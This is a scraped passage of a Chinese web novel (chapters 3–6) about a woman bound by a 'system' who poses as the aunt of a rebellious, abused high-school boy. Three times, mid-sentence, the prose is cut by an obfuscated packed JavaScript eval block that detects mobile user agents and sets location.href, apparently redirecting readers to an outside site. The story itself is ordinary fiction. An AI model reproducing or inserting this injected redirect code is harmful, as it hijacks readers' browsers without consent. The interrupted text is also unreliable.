《系统错绑男主小姨后》 3. 第3章 今日，江城九中的校园墙格外热闹。 「我靠靠靠！课上一半听到警车来了！老班不让我们出去看，啊啊啊，究竟是什么情况！有没有知道的好心人透个底啊！」 评论区里猜什么的都有。 「二楼食堂做炒饭必让人拉肚子的大叔终于落网了？」 「是不是上次高二那个校霸打人的事？他被警察抓了？」 「是那个事，但被抓走不是他，是被揍的那个。」 「我去，不是说被打的是个学霸吗？高二年级前三十常驻选手啊？老师的宝贝疙瘩！咋就被抓了？」 「具体不知道呢，我就被老师叫去复印室抱卷子，路过教务处，听到里面闹得特别厉害……好像是那学霸的家长一直道歉，还让学霸跪在地上……超夸张诶，之前都没见过这样的！」 「被打的给打人的道歉？这剧情走向，恕我有点看不懂啊。」 「我听校霸的同学说了，好像是他小姨今天出现了！啊啊！总感觉跟今天的反转有关系！」 「小姨？陆哥有小姨啊？」 校园墙内讨论纷纷。 教务处办公室里，好不容易处理完报警后续，送走李毅母子及警务人员，瞧着骤然空且安静下来的房间，田主任大松口气，又趁着陆季燃一早就离开，借机跟池又青说了些他的事。 讲他学习不上心，态度不端正，校内称王称霸，校外惹是生非，各科老师对他这个刺头都很头疼。 念叨一堆，到了最后，田主任真心感谢：“话说回来啊，陆季燃他小姨，今天这事多亏有你。要不是你，真不知道该怎么办。” “上周学校监控正好维修，事情不好查。我和周老师轮番问陆季燃究竟什么情况，他什么都不提，只说人是自己打的，要算账随便。要是你没在，今天这事只怕……” 田主任唏嘘一声，不再多言，让陆季燃的班主任周正然领着池又青离开。 路上，周正然感慨：“池小姐，今天你能来实在是太好了，我们都以为这孩子真没人管了。” 池又青嗯嗯两声，心想，她今天也是被系统算计。 周正然又道：“之前我们只有他舅舅的联系方式，还是从初中部那边要来的。” “联系他舅舅，对方只说随便老师怎么管，要打要骂都行，再聊两句孩子的教育问题就挂电话。今天干脆直接把我们老师的号码都拉黑了。” 池又青：“啊，竟还有这种事？！” 周正然叹气：“是啊，池小姐。像今天这样的事，换手机号打几个电话过去，也是联系不上他。孩子的教育可不能这样，陆季燃的家庭情况我们也大多有所了解，但很多事，都不是我们做老师能插手的。教育孩子，还是要家长和学校一起努力才行。” 池又青：“对对对。” 周正然：“……？” 看她一派置身之外的模样，周正然摒弃暗示，直言道：“池小姐，恕我冒昧，我想问，你真是陆季燃的小姨吗？” 池又青扬眉：“周老师，我人都被你们扣办公室半天了，现在才来怀疑我的身份？” 要是早怀疑，就别扣押她啊！ 周老师被她这直接的话语呛得难堪：“池小姐，我不是那个意思……” 池又青拿出FBI的本子，翻开，里面是护照册和身份证：“他的妈妈是我表姐，这是我的个人信息。周老师你要是不放心，可以拍下来，我不是人贩子，那小子花钱也请不来我帮他演戏。” 这才知晓她刚刚在唬人的周正然讶异了下，心里有许多问题，但都一一憋下，只说：“那这样，池小姐，你看方不方便留一个你的电话，日后要是陆季燃有事，我就联系你。” 池又青不是很想给。 她可不想哪天出门在外突然接到老师电话，说孩子又在学校打架，让她过去一趟。 年纪轻轻生而寡王却活得像个后妈。 好惨。 奈何052在脑海里吵得像比格，闹着让她给，池又青懒得同它争。 她现在把心态放得很平，就当自己在给上帝打工，赚来的工资是妈妈的健康。 一个电话，给就给吧。 “有事其实也不用联系我，真的。”池又青万分诚恳，“周老师，你就存着当个摆设吧。” 陆季燃要是出事，052肯定第一时间跟她说。 哪用得上电话。 池又青抬手轻锤略有些僵硬的肩膀，打了个哈欠：“周老师，没事了吧？我先走了啊。” 周正然没想到她的态度这么随便，忙说：“池小姐，班级家长会还没开完。” 池又青嗨呀一声：“我都在田主任那听了四十来分钟啦！到班上去，要讲的内容估计也大差不差。周老师，我请个假，就不去了。今天刚回，时差没倒完，困得不行！” “周老师再见！” “可是——” 周正然还想说点什么，池又青已经摆摆手，转身往反方向走。 瞧着她毫不犹豫的潇洒背影，头回遇到这种家长的周正然不得不把剩下的套话咽回肚子里。 陆季燃有人管，是好事。 可他现在横看竖看，都觉得这准备管陆季燃的人，也没靠谱到哪去。 甚至这不靠谱的程度比之陆季燃本人都有过之而无不及。 周正然长叹口气，暗想，他得提前跟科任老师打个预防针，告诉他们，这学年，高二十八班的魔王，惹事程度估计能更上一层楼。 因为陆季燃不好管，他这新到来的家长，看起来更不好管。 两人凑一起，估计是超级加倍的效果。 052着急：【宿主，你怎么就走了？这第一次跟老师见面，我们应该努力留个好印象才是。而且，参加家长会，也能多多了解男主的情况啊。】 池又青：【老大，这世上还有人比你更了解他？问老师不如问你。至于留下好印象，那可算了吧，我这辈子也没给多少人留下过好印象。】 她困得眼角泛泪：【飞了十来个小时，作息没调过来就又被人念经，偏头痛都快犯了，难受死我啦！我要回酒店睡觉！】 人可以上班，但不能一直上班。 池又青自认今天这一趟，她已超额完成工作目标。 【052 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105227|163840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，今天就算了，往后要再这样不讲前情提要就把我骗过去……】 准备小发雷霆的池又青忽地闭嘴。 好吧，她也不能怎么样。 顶多一边骂一边想办法。 好在052错绑理亏在先，认怂，乖乖地说：【宿主，你放心，我再也不会了。】 见它识趣，池又青满意地点头，一面打车一面走出校门，站在马路边等待，就听身后有人叫住她。 “喂。” 池又青回头。 是便宜大侄子。 “学生今天能出校门？”她问。 陆季燃双手插进裤兜，吊儿郎当地站在社交距离之外，表情又酷又拽：“跟你有什么关系？” 池又青翻译：“那就是不能了。” 想到自己刚刚翻墙进学校时碰到两小孩，他们口中的陆哥，不会就是陆季燃吧？ 被女人上下打量着，陆季燃眉眼里闪过烦躁，直截了当地戳破：“喂，你刚在撒谎吧。” 池又青被喂了两声，很不爽：“不叫我小姨就算了，还不知道我名字吗？” 明明在办公室的时候就一直在盯她。 陆季燃抿紧唇，不搭话，不改口，倔得很。 池又青双手环抱于胸口，下巴微抬：“凭什么说我撒谎？” “你的工作证很厚，不像正规的。再说，我也根本不认识什么FBI部门的小姨。这些话，只有李毅那种傻逼才信。”陆季燃一双眼紧紧盯着她，敏锐且带着戒备的冷意，说，“谁派你来的？董丽？陆屹？你们到底想做什么？” 他站得格外僵直，浑身上下的肌肉都绷成一块，像一个毫无破绽的钢板，似乎在准备着池又青说出某个答案后就做出反击。 这哪是大侄子呀。 分明就是大刺猬。 “你想多了，没人派我，就你们家那点家产，还没到让人能够费尽心思接近你的地步。”池又青脾气也不好，陆季燃没给她好脸色，她也嘲讽回去，“再说，就陆屹那点钱，能留给你几毛？” 陆季燃一噎，眼睛都在冒火：“你到底是谁？” 池又青半点不觑这小子的目光，自在地说：“刚在办公室你没听见吗？我是你小姨，我叫池又青。季瑾是我表姐，还没你的时候，我们见过几回。我妈叫池习君，这名字你应该听过。” “喏，我手机上有照片，好早以前跟你妈的合照。”池又青把手机递到陆季燃面前。 他看眼，嗤笑一声：“你当我三岁小孩呢？现在技术这么发达，就凭一张照片，几个名字，也想糊弄我？” 池又青听他这说话的语气，完全没了耐心。她上前一步，在陆季燃陡然睁大的眼睛里一把扯下他的头发。 这一下，陆季燃只觉得头都要被扯掉了！ 他疼得倒吸口气，吱嗷一声，如果他是只小麻雀的话，现在浑身上下的羽毛都能竖起来了！ 拳头一瞬捏紧，看着眼前的女人，彻底炸了，要是鼻孔能喷火的话，他已经毫不犹豫把眼前的人烤糊。 头顶的疼痛还在延续，陆季燃不敢相信：“你疯了？你干什么啊？” 4.第4章 池又青把刚刚拔下来的几根头发塞进随身携带的透明密封袋中，又把另外一个早早装好头发的袋子拿出来。 “DNA鉴定。”她做事一贯这么胡来，把两个袋子塞进目瞪口呆的陆季燃的手里，“机构我已经提前预约好，本想好言好语带你一块去，但看你这样，八成也不会跟我去” “所以，东西交给你，你要是不信，就自己去测。” “放心，钱我都已经预付，你只需要把东西送过去。地址在密封袋的表面有写。” 池又青摘下鸭舌帽，重新整理了下头发，看着陆季燃：“当然，你要是不去，那我就当你已经相信。接下来，我该做什么就做什么。” 陆季燃拿着手里的两袋子，揣进兜也不是，丢掉也不是，只能攥紧在掌心，质问：“就算你真是我小姨，你现在跑过来做什么？” 池又青烦恼地压响食指关节，困意让她毫无耐心做个知心姐姐，摆烂道：“实话跟你说吧，跑过来也不是我自愿的，你就当有人给我发了个任务，我不得不掺和进你的生活。” 陆季燃的野生眉皱巴成一团：“谁？” 池又青：“我妈！行了吧！” 陆季燃抿紧唇，又问：“你是怎么知道我和李毅的事？” 下了长途飞机就赶过来，又被教导主任念经，又困又累，池又青脑袋要炸了。 她小时候也这么爱提问吗？ “你甭管我怎么知道的。”池又青有点暴躁，“我今天怎么也算帮了你一个忙，要是没我，今天这事你打算怎么收场？” “无所谓。”陆季燃满不在乎，“这学我上不上也没差。” 好熟悉的话语。 多年前的回旋镖忽然直插进池又青的眉心。 她对052说：【我觉得他讲的也蛮有道理。对他这位男主来说，这上不上学真没差诶。反正现在文盲明星也挺多的，以后再多他一个也没事啊。】 052难得霸气一回：【恩，宿主，你说得对。但他上不上学，对你很有差^^】 池又青：【。】 (▼皿▼#) 池又青软肋被戳，心火顿烧，脸色难看起来。 陆季燃还在那拽呢。 “大不了就被开除。”他没点学生样，耳钉在阳光下闪闪发亮，说，“天天在学校也没什么意思。” 池又青看他这样就好想两巴掌打上去。 小小年纪，装什么装？！ “不过刚刚……”陆季燃声音艰涩，低下头，右手抚上自己的后颈，摩挲好几遍，脑袋偏向池又青所在的反方向，别扭道，“还是谢了。” 池又青正沉浸在教训小装货的脑补中，没反应过来，茫然：“啊，什么？你在跟我说话吗？” 陆季燃绷直唇，瞪她。 池又青非常无辜，“不是，刚有点走神，而且真没听清，声太小啦。” 陆季燃紧了插在衣兜里的拳：“你——” “嘀嘀！” 宝马打着双闪停在两人身旁，池又青瞧了下，是她叫的那辆。 “带手机没？”她问。 陆季燃不说话，仿佛刚刚别扭的乖巧只是池又青眼花。 这小子绝对是属卡车的，这么能装。 池又青干脆一把拽过陆季燃的手，他下意识想把手抽回来，池又青用力硬控住他，从包里掏出随身携带的眉笔，唰唰两下在少年的手背写下一排数字。 跟有条带毛的小虫自皮肤上爬过一样。 陆季燃本能地不舒服，抢回自己的手，抬掌就要搓掉，站在他面前的女人威胁道：“别动啊。这可是三千块一克的眉笔，搓掉就是浪费。” 陆季燃不敢置信地停下动作。 池又青心满意足地点点头：“这我电话，有事打给我，没事就算了，我不喜欢接电话。” “还有，我多嘴一句，李毅那事就跟警察教育你的一样，你解决问题的办法是粗暴冲动了点。陆季燃，别那么不相信学校和老师，我看你们班主任虽然傻了点，但人还不错。” “不过呢，这事你起码发心没错。多亏你之前阻止他，不然那些视频就流出去了。到最后可能也不会有很多人知晓真相，但我还是想替那些女孩对你说一声。” “陆季燃，谢谢你。” 她说了再见，毫不停留地转身上车。 陆季燃立在原地，看了眼驶离的车影，又看手背。方才那种痒痒的触觉依旧在肌肤上蔓延。 伸手想去搓掉，刚碰到开头那个1，指腹悬停片刻，最终放下。 掌心里密封袋的触感突兀又明显。 他盯着袋子，把它们揉成一团，塞进兜里，决心等会就找个垃圾桶丢掉。 谁要去什么鉴定机构啊？他又不是有病。 再见到白盛飞和袁源，已是一小时后。 “陆哥，怎么这么晚。”白盛飞问。 陆季燃把自行车停在一边，踢下脚架，只说：“有点事。” 白盛飞举着手机给陆季燃看：“陆哥，这条校园墙你看了吗？你跟李毅到底咋回事啊，还有那警察，对了，老田没找你麻烦吧？” 陆季燃拿起桌面上的冰水，拧开瓶盖，咕咚咕咚一口喝掉大瓶：“没什么，就那样。” 白盛飞对他这样的回答习以为常，又问：“那小姨呢？我看贴子里说，你小姨来了？真的假的？” 陆季燃把冰水盖好放回桌上，力气很大，震得桌子都在发颤。 “少听他们胡说，我没什么小姨。”陆季燃眸色冷淡， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113609|163840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是要打球吗？英盛的人呢？” 白盛飞努努下巴：“喏，来了。我本来说随便摇个人跟他们打的，他们不乐意，非要等你来。” “是吗？这么在乎我？”陆季燃脱掉校服外套，活动着肩颈，两手的指关节被他摁得啪嗒作响，他眼神锐利，一把接住对面几人砸过来的篮球，神色张扬至极，“那我真得好好招待招待他们。” 有陆季燃在，胜负几乎没悬念。 他打球风格跟他这个人一样，又狂又不要命，场上的人几乎拦不住他，关键他准心还好，三分从不失手。 英盛的人嚣张至极地跑过来，灰溜溜地滚掉，白盛飞对着他们的背影狂呸一声。 “说话算话啊！”白盛飞喊，“以后这就是我们九中的球场！你们英盛的不准来！” 看英盛输了，袁源特别高兴，请吃小吃街的串，还给买奶茶。 陆季燃给他递串的时候，眼尖的小胖子忽然发现个奇怪的事。 “陆哥，你这手上写的什么啊？” 叼着奶茶吸管发呆的白盛飞当即好奇，凑过来看。 陆季燃没想到打完球出了汗这眉笔留下的痕迹都没变花，左右掌朝外一推，将二人脑袋弄开，伸手将袖口往下拽：“没什么。” 他看向白盛飞，转移话题：“打完球就心不在焉，你怎么了？” 袁源恨铁不成钢，边撸串边口齿不清地说：“憋理他，犯、犯花痴呢。连人影都没看清，长什么都不知道，他还说自己遇到了女神。大白天的翻墙进学校，什么女神，女、女神经还差不多。” “呸！袁小胖！你懂什么！看不见脸又如何！一天到晚就知道吃，根本不懂欣赏！”白盛飞愤愤，转头向陆季燃求认同，“陆哥，我跟你说，今天这位，那身手，那气质……哇！” 一勺麻辣脑花闪进白盛飞大张的嘴里。 袁源哈哈大笑：“陆哥这意思是吃哪补哪啊！老白，你可多、多吃点吧！” 白盛飞被辣出眼泪，狗似的哈气，狂喝奶茶缓过来后，抬手就是用胳膊勒住袁源短得几乎快没有的脖子。 袁源赶紧求救：“陆哥……陆哥……” 陆季燃隔岸观火，没打算相助。单手打开北冰洋，听着滋啦滋啦的气泡声，笑着看他俩打闹成一团。 吃完串，三小只在街上游荡了会，白盛飞被家长召回准备回家挨揍，袁源又饿了，要去吃夜宵。 陆季燃不想吃，把他们送走，看眼微信余额，不够网吧包夜。 他推着自行车往住所走。 钥匙刚插进锁孔，顺时针拧动，门开的刹那，一个啤酒瓶砸了过来。 与玻璃一道爆裂碎开的，还有男人粗犷的骂声。 “臭小子！你特么还敢回来！” 5.第5章 【宿主，你就这么走了？】 池又青上车后，052不敢置信地问。 池又青坐在后排，窗只留一条缝，秋风抚过她困得发疼的神经，她闭上眼，在心里答：【车都来了，我不走待着干嘛？】 052急得在她脑海里打转：【这可是你跟男主第一次见面！明明可以再多多接触，拉近彼此距离！】 它像头拉磨的牛一直晃，池又青被转得头晕，没好气地说：【你难道没看见他那刺猬样？这距离是聊几句就能拉近的？】 【别提聊天。】052越复盘越绝望，【宿主，你刚刚怎么能那样回答男主的问题？！他问你为什么会出现，要来做什么，你就该说‘当然是为你而来’……】 池又青：【yue——】 052：【……】 052急躁：【你难道忘了我们的行动宗旨！】 池又青：【没忘啊。】 池又青：【但你也说了，那是宗旨，特殊时期特殊应对。】 052再次绝望：【……】 它是看出来了，它的这位新宿主，擅长阳奉阳违。 052苦口婆心地劝：【宿主，出于任务需求，不管从哪个方面考虑，我都认为，你应该多多和男主培养感情。你想，以他的现状，如果有一位温柔贴心治愈伤痛的小姨出现在他的生命里……】 池又青打断它的话：【你上份工作是搞恋爱攻略的？这话听起来怎么这么禁忌？】 052：【&*￥#%&*】 池又青温馨提醒：【052，你乱码了。】 052：【我谢谢你的提醒。】 池又青：【不客气。】 052好想掐人中喊救命，可是它连鼻子都没有。如今只是一团小小的机械球。 池又青跟它交底：【老实说，要不是你强烈反对，我真会雇人直接把陆季燃绑走。将他带离舅舅身边，这难道不是最简单的办法？哪还需要这些迂回战术？麻烦。】 052发出无声尖叫。 啊啊啊！ 这绝对是它带过的最难搞的一届宿主。 自打错绑池又青以后，它感觉自己的崩溃频率越来越高，都快赶上JJ文学城了。 痛苦地自我调理一会后，052说：【宿主，你现在就离开，接下来有什么打算？】 池又青想都没想：【补觉。】 052：【我说男主！！】 052：【……？】 052：【宿主，你的沉默让我害怕。】 池又青：【稍等，让我脑瓜转会。】 她真心提议：【要不我真找人把他绑走？我有人脉，包快狠准。再找个无人岛，请三百名师做高考拉练，保管不出一年，就能让他成为德智体美廉全面发展的三好少年。】 052尖叫：【不要！！你死了这条心吧！！！】 池又青万分可惜：【好吧。】 052：【…………】 它究竟绑了什么人啊，怎么会有这么乱七八糟的人脉！！！ 052强调：【我宁愿自动关机放弃百年一次的休假和纪终奖，也不会允许这种事发生！】 这都什么跟什么啊！ 池又青是要在它管辖的世界里上演霸道小姨强制学剧情吗？！ CPU烧得好疼，它决心不要跟池又青讲话。 【你快补觉。】它说，【我来想办法。】 池又青眨眨眼，觉得自己无师自通一份打工小技巧。 只要员工够摆烂，自有老板来托底！ 她是个很配合工作的宿主。 系统让她睡，她两眼一闭就真睡。 再醒来时，系统在她脑子里拉响防空警报，她烦躁地睁开眼，瞄了眼时间，才晚上八点。她原本计划一觉睡到天亮。 【052，你最好给我一个合理的起床理由。】池又青压抑着即将爆发的起床气。 052急迫无比：【男主快死了！】 池又青：【……？】 她困顿的脑子思考三秒，茫然地问：【打120了吗？】 052：【我认真的！】 池又青：【我也是认真的。】 生命危急关头，医生不比她个文盲管用？ 052：【就在刚刚，男主回家，被舅舅抓着揍了一顿。原因是他今天下午打牌，起初手气不错，但接到学校电话以后，运气一落千丈，局势逆转，大输特输。他揪着男主发气，真快把人打死。】 池又青彻底清醒，一个弹射从床上爬起来，顺手抓衣服，一面往自己身上套，一面拿手机打车，又埋怨系统：【今天有这出剧情，你怎么不早说？！】 052冤枉：【小说里也没写这些细节，我只知道他舅舅脾气不好，又不知道他什么时候会动手。】 池又青警惕：【我说，052，这该不会就是你想的办法吧？】 052生气：【你可以侮辱我的统格！但不能侮辱我的事业！我绝不会为达目的伤害主角！】 穿好衣服，她抽出房卡就出门。 33楼，电梯来得缓下得慢，趁着间隙，她问：【陆季燃在学校那么拽，他舅揍他，他不知道还手？】 052：【还啊！但有什么用？其实这两年，因为他个子越长越高，力气也越来越大，董旭，就是他舅舅，也不敢跟以前一样，把他当沙包，轻易就动手。】 052：【但毕竟对方成年男性，又练过，再加上陆季燃有自己的顾忌，所以……】 “叮咚。” 电梯到一楼，池又青快步杀出酒店大门，瞧见停在一旁的黑色欧陆，二话不说拉开车门就往上坐。 “尾号5411。”她自报家门。 见车子没发动，池又青有点急。 她不解地抬头，和正回头看她的司机对上眼。 只一瞬，就被司机师傅的皮相给惊艳。 如竹似玉，眉眼藏雪。 好你个豪车出行，车漂亮就算了，司机也搞这么帅的？往那驾驶位上一坐，气定神闲，似乎没料到她的出场，丹凤眼中闪过一瞬的怔愣。 搭在方向盘上的手也挺好看。池又青没忍住，多看两眼。 但很快意识到，司机长得帅没用，帅也不能当发动机使。 车子都不开，纯耽误她事啊！ “师傅，怎么不走？你还接了别人的单？” “没有。”他声音也好听，字正腔圆地问，“去哪？” “吉安小区。” 见对方不紧不慢转头回去在屏幕上选择目的地开启导航，池又青身子往前，两手扒拉住车椅的皮质边缘：“师傅，能快点吗？我有急事。” 他依旧四平八稳，有种清风拂山岗的淡然。 “第一次接单。”他说，“见谅。” 车终于上路，司机问：“有什么急事？” 池又青一贯不喜被陌生人打听私事，听到这提问，张口就来：“师傅，别提了。今天是我和男朋友恋爱三周年纪念日，我特意来他工作的城市找他。” “结果呢！？我刚打电话给他，他居然跟我吵架。我现在就要过去找他算账！” 她纯属瞎编。 哪知对方自后视镜里看来一眼，语气里几分没遮盖完全的惊讶：“你恋爱了？” 池又青撒谎底气很足：“是啊。” 空气静默片刻，他声音温沉地说：“感情长跑不易，有矛盾可以多沟通，祝你幸福。” “……谢、谢？”好真诚的兄弟，搞得她都心虚。 该是信了她的胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117267|163840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说，司机师傅在有限的交规下争取了最快的速度。 池又青在软件上叫车时，见系统显示行程预计花费半小时。现在，不到二十分钟就抵达吉安小区门口。 这应是江城的老小区，坐落的位置也在老城。街道两边都是违规摆放的摊铺，烧烤店的烟雾在夜里云绕，拐着弯飘进了巷子里的三无小店中。 欧陆一路穿过最繁华的CBD，越过大桥，来到此处。 车方停稳，池又青客气地说了声谢谢，拉开车门弯腰蹿走。 吉安小区没物业可言，保安室无人管理，池又青混在住户里，跟着蹭开大门进入。 八点，天色早黑。 小区路灯失修，昏暗地闪烁着。 池又青根据052的指引，远远地看见逃出家门的陆季燃。 他蹲在单元口，怀里抱着黑色吉他包，脸上全是被揍过的痕迹，乌青与红交错。 有群小朋友路过，一位男孩忽然把手里的摔炮砸到陆季燃面前。 砰！ 摔炮在少年脚下炸开，少年连眼都没抬。 扎双马尾的小姑娘赶紧阻止：“明明！老师说过，不能对人摔炮！” 明明反驳：“我阿婆说他是没人要的坏孩子！成绩差！不学好！天天被家长揍！你看！他今天又被揍了！我讨厌坏孩子！我就要对着他摔！” 话说完，他抓起一把盒子里的红色摔炮，抬手就想往少年身上砸。 啪！ 一颗石头精准地擦过明明的侧脸，飞落在他身前。 明明吓了一跳，手里的摔炮落在地上，砰砰砰一下炸开。他双腿一软，屁墩着地。一旁，别的小朋友都笑话他。 明明恼羞成怒，爬起来，看向四周：“谁！谁丢石头！” 张望找寻许久，都没见人影。 明明奇怪地皱起眉头，弯腰去捡摔炮小红盒，手刚碰到，啪嗒，一颗小石头又飞过来，他指尖一下发红，疼得他哇呼哭起来。 昏暗的路灯下，一道古怪的声音传来。 “小屁孩，我告诉你，我也讨厌坏孩子。要是下次再对着人摔炮，这颗石头砸的可就不是你的手了！” 这声音幽幽荡荡，带着刺骨的寒意，不知道从何而来。 明明：“谁在说话！” 身边的小朋友觉得古怪：“明明，没人说话啊，你在讲什么？” “不可能！我刚刚明明听见……”明明瞪大眼，想到一个可能性，顿时汪汪大哭，屁滚尿流地跑开，嘴上还喊，“有鬼！有鬼！呜哇！小区有鬼！” 【052，配合不错呀。】 要不是有系统，她也不能把变声后的鬼音传到熊孩子脑海里呢。 052装死。 赶走熊孩子，池又青从阴影处走上前。 “陆季燃。” 干净又有力量的一声呼唤。 他以为自己幻听。 抬头看，池又青阔腿裤配卫衣，素面朝天一张脸。脊背挺拔，跟他讲话时两手环抱于胸前，低着头，语气里全是恨铁不成钢的怒意。 “在学校不是很能耐吗？怎么一回家就变怂蛋。” “刚那小孩欺负你，你不知道？” “大晚上蹲楼下装可怜做什么？我不是给你过电话？陆季燃，你不知道求助两个字怎么写吗？” 他沉寂的黑眸闪烁两下，抿了抿唇，正欲开口，又听她叹口气，格外心疼地说：“谁啊？怎么打人专打脸？不知道你就剩张脸能看吗？” …… ………… ？ 上一秒路灯为她勾勒的光环即刻碎得像水泥地上随处可见的肉串骨头渣。 陆季燃蹲在地上，抬头，浑身的刺都支棱起来：“不关你的事，池又青，你在这做什么？” 6.第6章 “半夜饿了，刷同城推荐，有人说吉安小区门口的老张烧烤味道不错，现煮的番茄煎蛋面也好吃，这就叫了个车，过来解馋。” 池又青淡定自若地胡编乱造。 在说胡话这件事上，池又青道行颇深，随口一提也像那么回事，且逻辑自成一派。 她讲：“想起你们周老师提过你也住这，顺道来看你，正好问你要不要一块吃宵夜。” 陆季燃一声不吭，目光落在她那一次性拖鞋上，显然还在怀疑池又青所说这段话的真实性。 “怎么？你也想要这拖鞋？”池又青大摇大摆地低头看看自己的鞋子，脚指头灵活地扭扭，“我明天从酒店多要几双，送到你学校？质量不错，踩着还挺软的，蛮舒服。” 陆季燃眉眼间都是毫不遮掩的抗拒：“不用。” “喔。”池又青对被拒绝这件事没什么反应，问他，“所以，吃宵夜吗？” 同单元楼栋三层传来啪地摔门声，接踵而至的是男人粗犷声音：“来了来了，催个毛啊？酒我当然带了，还用你说？老窖，够劲吧？我妹送来的，说是名酒呢，今天让你们几个开开眼。” 陆季燃的脸色更阴沉几分，迅速从台阶上站起，单手抓起吉他包，看着池又青，回了一个字：“吃。” 陆季燃步子很快，领着她往小区外走。 池又青跟在他身后，看他单肩挎着吉他包，校服之上的那片后颈，已没一处好地方，淤红的指印落在他偏冷的皮肤上。 她什么都没问，跟着陆季燃到刚刚打车经过时瞧见的烧烤摊旁，要了两碗番茄鸡蛋面，点了十来串烧烤。 看来她真没编错。 这家的番茄鸡蛋面煮的很香浓，番茄软烂，鸡蛋金黄，凑进一碗里，热气腾腾，酸甜暖胃。 的确是能上同城推荐的水平。 池又青拆了两双一次性筷子，掰开磨掉筷尾的木刺，朝对面的少年递去一双。 陆季燃没接，语气里有些烦躁：“不要，我不饿。” 池又青可不惯着他这脾气，干脆把筷子放在他面前的碗上。 “随你。”她说，“那我先吃。” 她吃东西的时候很投入，一筷面条一口汤，温暖下肚，会畅快地呼口气。 烧烤爱用筷子撸下来，满满当当堆一铁盘，太辣的菜会夹起来放在倒了醋的小碟里蘸蘸，腻了就埋头吃面，吃爽快后会幸福地眯起眼，就像阳光下晒得舒服的猫一样。 周遭喝酒吵闹划拳的人群与她无关，街边叫嚷着打架的混混也夺不走她的注意力。 坐在饭桌前，她在乎的就只有面前的食物。 “你不问吗？”陆季燃盯她半天，耸着眼，忽然说。 “啊？”池又青把烤得脆香的五花肉吞吃下腹，看着他，“问什么？” 陆季燃拎起眼皮盯着她，眼神里写满‘显而易见’四个字。 池又青了然：“我问你就愿意说吗？” 陆季燃沉默的表情回答了一切。 “这不就结了。”池又青笑笑，“有这时间，不如多吃两口。”她扫了眼陆季燃原封未动的碗，抬抬下巴示意，“还吃吗？” “不是我想吃。”他瘪嘴，“是你自作主张点了，我怕浪费。” 一边这样说，一边手拿起筷子，将铺在面上的鲜绿葱花搅入漂亮的红黄汤底之中。 “小心烫。”池又青提醒，“慢点吃，又没人抢。就你那脸，吃这么快，当心一会也把里面烫坏。” 陆季燃突然觉得面不香了：“……” 池又青把烤盘往他面前推：“别光吃面呀，这还有肉呢，你也吃点，我是快不行了。” 她拉开有些发紧的腰间抽绳，坐在椅子上伸了个懒腰。 对面的陆季燃吃东西很快，狼吞虎咽，捧着碗喝汤的时候咕咚咕咚，吃完就抬起手背往嘴边一抹。 池又青扯两张纸递过去：“擦擦。” 陆季燃没接，脸上写着‘我自己长手了’几个字，自己从纸盒里抽了几张，手背上的号码依旧清晰可见。 池又青没问他，既然留着她的号码为何不打。 她换了个问题：“等会打算去哪？” 陆季燃声音哑涩：“跟你没关系。” 池又青：“回你继舅家？” 陆季燃一下抬眸。 池又青：“别这样看我，你目前的情况，周老师今天都跟我说了。刚在单元口听见声响，说要出去喝酒那个，是你舅吧？” 陆季燃拧着眉头不吱声。 “不去趟医院？”池又青问。 陆季燃满不在乎：“死不了。” 池又青看他这拽样就想踹他两脚。 装什么装，狗都嫌！ 结了账，她背着帆布包起身，往街的另一边去。 走两步，回头，抓住意欲往反方向走的少年衣领，跟逮狗后脖子上的那寸颈皮一样，干脆利落，将他往自己的方向拉动：“走哪？跟上。” 陆季燃脾气来了：“松手。” 池又青也倔：“你跟上我就松手。” 陆季燃试图挣脱，哪晓得这女人竟该死的有力，察觉到周围人看过来的古怪目光，交头接耳时的窃窃私语，他急声说：“我跟，你撒手！” 池又青满意一笑：“走吧。” 两人在一家二十四小时的小药店前停下。 陆季燃站在门外怎么都不肯往里进，池又青微笑着对他说：“在这等我，要是我出来发现你不在，我就去你继舅家找你，顺带明天去学校给你送一次性拖鞋。” 陆季燃的眼神里写满‘你是疯子吗’几个大字。 池又青满不在乎，走近药店，在药柜旁转了一圈，熟稔地挑出双氧水、生理盐水、碘伏与凝胶等一系列药物，去收银台要了盒无菌敷料和棉签。 拎着零零碎碎一袋东西，走出店门，陆季燃不在。 池又青气笑了。 十六七岁，果然正是当狗东西的年纪。 【宿主！男主在这！】 眼前的道路凭空出现3D箭头。 池又青跟着走过去，拐个弯，墙角处，陆季燃挺直脊背，对眼前的三个男生说：“捡起来。” 插兜叼烟的黄毛嗤笑一声：“捡个球，你算什么东西，敢这么跟我说话？” 地上散落一地塑料瓶。 为首的黄毛用自己的黑色豆豆鞋往上一踩，嘎吱嘎吱，瓶子发出惨叫。 